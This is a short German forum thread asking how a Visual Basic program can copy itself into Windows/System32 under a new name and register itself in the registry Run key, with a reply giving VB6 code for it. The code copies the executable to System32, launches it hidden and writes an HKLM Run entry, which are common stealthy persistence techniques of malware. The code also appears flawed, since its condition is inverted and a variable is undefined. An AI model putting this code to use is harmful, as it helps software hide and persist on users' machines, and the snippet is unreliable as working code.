Vb anwendung selber in system32 kopieren und automatisch sta

Ich möchte das mein vb programm sich beim ersten start in windows/system32 ordner kopiert und sich dann umbennent und dann sich in in den run schlüssel der registy kopiert.


mfg

Code:

---

Dim strInstallPath as String

strInstallPath = Environ("WINDIR") & "\System32\"

Select Case App.Path & "\"

Case strInstallPath

FileCopy app.Path & "\" & app.exename & ".exe", strInstallPath & "deinname.exe" 'Hier kannst du den namen wählen

Shell strInstallPath & "deinname.exe", vbHide

Reg_Add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & strRegName, App.Path & "\" & App.EXEName & ".exe"

End Select


Private Function Reg_Add(hkeypath As String, Value As String)
On Error Resume Next
Dim ObjAdd
Set ObjAdd = CreateObject("wscript.shell")
    ObjAdd.regwrite hkeypath, Value
Exit Function
End Function

---